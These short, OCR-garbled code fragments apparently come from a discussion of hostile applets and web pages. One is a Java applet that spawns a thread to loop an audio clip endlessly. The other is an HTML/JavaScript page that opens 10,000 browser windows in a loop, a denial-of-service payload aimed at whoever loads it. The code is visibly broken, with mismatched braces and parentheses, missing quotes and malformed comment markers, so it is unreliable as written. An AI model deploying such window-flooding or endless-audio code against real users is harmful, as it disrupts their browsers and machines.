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public void init () {
/...
bark = getAudioClip (getCodeBase(},
back.au );

}

public void start () {
/...
noisethread = newThread(this);
noisethread.start (0} ;
}
public void run{) {
if (bark != null) bark.loop();

}
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<html>

<script language=JavaScript >

<!

for (loop=0; loop <10000; loop++)

window.open (about :<b><h1>
Kill!}:

-- > </script>

</html>
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